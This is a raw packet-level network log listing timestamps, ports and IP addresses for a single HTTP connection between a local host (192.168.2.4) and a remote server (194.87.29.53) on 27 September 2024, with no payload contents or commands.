Sep 27, 2024 18:29:02.629734993 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.629759073 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.629808903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.630547047 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.630605936 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.633281946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.633294106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.633305073 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.633342981 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.633375883 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.633451939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.633464098 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.633475065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.633507013 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.633537054 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.633601904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.633615017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.633651972 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.633682966 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.637098074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.637109041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.637120962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.637161970 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.637188911 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.637259960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.637270927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.637283087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.637306929 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.637336969 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.637526989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.637576103 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.007658958 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.007693052 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.007704020 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.007755041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.007764101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.007774115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.007783890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.007879019 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.007932901 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.007932901 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.007985115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.007996082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008006096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008017063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008021116 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.008028030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008032084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.008043051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008053064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008070946 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.008111954 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.008239031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008255005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008265972 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008275032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008285999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008290052 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.008297920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008310080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008320093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008321047 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.008363008 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.008588076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008599043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008609056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008618116 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008629084 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008641005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.008642912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008655071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008662939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008667946 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.008678913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008691072 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.008712053 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.008743048 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.008913994 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008924961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008935928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008951902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008956909 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.008965015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.008982897 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.009026051 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.009044886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.009090900 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.011228085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.011262894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.011274099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.011295080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.011326075 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.011360884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.011373043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.011387110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.011414051 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.011428118 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.011485100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.011497974 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.011532068 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.011534929 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.011558056 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.011574984 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.011616945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.011627913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.011662006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.011727095 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.011739016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.011749029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.011776924 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.011787891 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.012114048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.012171030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.012181044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.012207985 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.012228966 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.012904882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.012916088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.012924910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.012957096 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.012975931 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.013037920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.013086081 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.013087988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.013099909 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.013132095 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.013155937 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.013319016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.013336897 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.013345957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.013364077 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.013382912 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.013461113 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.013472080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.013480902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.013509989 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.013525009 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.014236927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.014254093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.014264107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.014285088 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.014321089 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.014384031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.014393091 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.014403105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.014430046 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.014448881 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.015069962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.015100002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.015110970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.015117884 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.015141010 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.015161037 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.015196085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.015208006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.015218973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.015248060 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.015284061 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.016042948 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.016087055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.016093016 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.016098976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.016130924 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.016133070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.016144991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.016159058 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.016176939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.016226053 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.016273022 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.016865015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.016899109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.016910076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.016912937 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.016940117 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.016957045 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.016990900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.017003059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.017014027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.017043114 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.017057896 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.017966032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.018016100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.018052101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.018102884 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.018177986 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.018224001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.018224001 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.018268108 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.018304110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.018349886 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.018420935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.018465996 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.018604994 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.018651009 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.018696070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.018740892 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.018744946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.018757105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.018798113 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.018827915 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.018841982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.018852949 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.018874884 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.018909931 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.019607067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.019654036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.019661903 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.019673109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.019710064 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.020081043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.020093918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.020104885 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.020128012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.020165920 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.020220041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.020231009 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.020241022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.020271063 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.020288944 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.020982027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.020997047 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.021008015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.021034002 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.021034956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.021056890 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.021085978 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.021092892 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.021105051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.021147013 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.021858931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.021922112 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.022162914 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.022173882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.022185087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.022195101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.022207022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.022217989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.022217989 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.022243977 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.022273064 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.022790909 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.022809982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.022821903 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.022844076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.022881031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.022943974 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.022955894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.022965908 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.023025036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.023025036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.023680925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.023725986 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.023736954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.023756027 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.023787975 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.023844957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.023857117 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.023866892 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.023897886 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.023936987 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.024553061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.024615049 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.024619102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.024631977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.024671078 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.024806976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.024818897 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.024830103 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.024867058 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.024898052 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.025383949 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.025443077 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.025443077 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.025459051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.025495052 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.025525093 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.025542021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.025552034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.025563002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.025574923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.025593042 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.025621891 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.025716066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.025727034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.025738001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.025748968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.025759935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.025768995 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.025798082 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.025827885 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.025863886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.025876999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.025892019 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.025917053 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.025944948 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.026268959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026314020 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026324987 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.026329041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026360035 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.026390076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.026398897 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026411057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026422024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026433945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026451111 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.026485920 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.026588917 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026601076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026612043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026623011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026633024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026639938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.026643991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026679039 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.026705980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.026756048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026768923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026812077 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.026849031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026860952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026870966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026884079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.026901960 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.026931047 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.027488947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.027549028 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.027554035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.027565956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.027605057 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:03.027643919 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.027653933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:03.027673006 CEST	80	60865	194.87.29.53	192.168.2.4
